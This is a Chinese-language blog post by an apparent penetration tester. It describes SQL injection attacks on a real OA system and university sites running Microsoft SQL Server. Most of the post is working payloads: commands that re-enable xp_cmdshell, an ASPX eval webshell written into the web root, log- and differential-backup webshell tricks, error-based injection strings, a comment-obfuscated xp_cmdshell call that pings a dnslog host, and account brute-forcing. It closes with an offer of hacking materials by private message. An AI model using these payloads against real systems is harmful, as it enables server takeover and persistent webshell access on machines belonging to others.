有人说SQL注入落后了,请问可以捶他吗

2023-05-07 09:10:55

 

上次写了一篇文关于SQL注入的文章,居然有人说SQL注入过时了!!!

前言:

本次用4个有趣的实战案例来分别讲:

狠–常见getshell

快–快速报错注入

准–字符长度100限制下注入

绕–绕福某大学安全狗

虽然只有4个实战案例,但真的挺实用、通用哦,当然此次都是站在前辈肩膀上实践总结的可能还不够全,如有分析不足的地方望各位大佬指正!

狠–常见getshell:

实战一:这是一次挖到一个小OA系统的通用管理员弱口令,后台可以执行sql语句并且是sa权限,这运气没谁了哈哈

但可以去edu刷分的大部分目标xp_cmdshell却废了.只能恰个弱口令…

先说可以xp_cmdshell部分:

xp_cmdshell写shell技巧:

条件:sa权限,

常见问题:xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启

开启方法

#开启方法 execute(sp_configure "show advanced options",1) #将该选项的值设置为1 execute(reconfigure) #保存设置 execute(sp_configure "xp_cmdshell", 1) #将xp_cmdshell的值设置为1 execute(reconfigure) #保存设置 execute(sp_configure) #查看配置 execute(xp_cmdshell "whoami") #执行系统命令 或者 exec sp_configure show advanced options,1; reconfigure; exec sp_configure xp_cmdshell,1; reconfigure; exec sp_configure; exec xp_cmdshell whoami; exec master ..xp_cmdshell "ping dnslog"

上面执行开启命令后,执行一下 whoami ,system 权限,直接起飞!

写shell技巧:

先找网站根路径:exec xp_cmdshell where /r d:\ *.aspx;

直接写入aspx文件同目录却访问不了,麻了!问了一下同事,他说:估计做了和springboot类似的路由映射,但静态文的目录可能不会走路由. 访问路径如下

故再找根路径下绝对静态可解析路径:

exec xp_cmdshell where /r D:\OA *.jpg;

写shell,这里也需要注意一点,dos对尖括号<>会报错,所以需要用^转义一下,或者echo"一句话" > hack.aspx 用双引号

echo ^<^%@ Page Language="Jscript"%^>^<^%eval(Request.Item["y"],"unsafe"); %^>^ >d:\xx\xx.aspx

然后倚天大剑(蚁剑)连接http://x.x.x.x/login/login/xx.aspx即可.

其它gethell大全:

剩下不可以xp_cmdshell的,但其它大多getshell方法,都没法用

这些方法前提条件都是:SQL Server 2008不可用,SQL Server 2000可用

因为我这版本是SQL Server 2008不可用,吐了!!于是只好备份getshell 备份getshell:(至少DBO权限)log备份(推荐):

优势:

1、重复性好,多次备份的成功率高

2、相对于差异备份而言,shell的体积较小

利用条件:

1、前提得知绝对路径,并且可写

2、站库不分离

3、数据库必须被备份过一次 ;alter database 库名 set RECOVERY FULL-- ;create table 数据库名..表名(a image)-- //建表 ;insert into 数据库名..表名(a) values (0x一句话木马)-- //插入一句话木马到表中,注意16进制 ;backup database 数据库名 to disk = c:\www\panda.bak-- //先手动给数据库备份一遍 ;backup log 数据库名 to disk = c:\www\panda.asp with init-- //利用log备份到web路径getshell 差异备份的条件:

1、前提知道绝对路径,路径可写。

2、HTTP 500错误不是自定义

3、WEB和数据在一块。还有的就是数据库中不能存在%号之类的,不然也是不成功的。

4、数据量不能太大 ;backup database 库名 to disk = c:\bak.bak ;-- //先手动备份一次 ;create table 数据库名..表名(a image)-- //建立表,加字段 ;insert into 数据库名..表名(a) values (0x一句话木马)-- //插入一句话木马到表中,注意16进制 ;backup database 库名 to disk = c:\shell.asp with differential , format ;-- //进行差异备份 小结:

备份getshell这一般对php和asp有用,注意asp备份生成的文件经常有没有闭合的问题,但aspx我暂时没找到成功例子

我这是aspx的2种备份都试了,但因为备份后会插入多个shell如下

导致:<%@ Page Language=xx %>出现多次,报错:只能有一个page指令 试了闭合和其它方法不行

快–快速报错注入:

实战二:mssql报错注入很方便,但柯大佬也没完善总结,我试了几种方法,这里快速报错最快,且在之后的手工注入很实用:

注册一个账号但要审核,如上图消息里得到账号规律,对后4位数爆破,成功 00xxxxx 123456然后登录后台,在某处发现sql注入:

Users/xx.ashx?ID=00) and 1=1 --+ //闭合成功 ) and 1=convert(int,user_name()) --+ #查当前数据库用户,结果不是sa 1)/**/;/**/exec/**/master ..xp_cmdshell /**/"ping xx.dnslog.cn"--#不死心,执行一下cmdshell

我是一名安全渗透测试工程师,热爱安全行业,用心做安全,在工作的同时学习知识,另外,我积攒了一些网络安全的学习视频和资料,需要的可以下载学习。关注我,私信回复“资料”免费获取网络安全视频、渗透测试、工具包、应急响应、web安全等架构资料


以上就是关于《有人说SQL注入落后了,请问可以捶他吗》的全部内容,本文网址:https://www.7ca.cn/baike/25450.shtml,如对您有帮助可以分享给好友,谢谢。
标签:
声明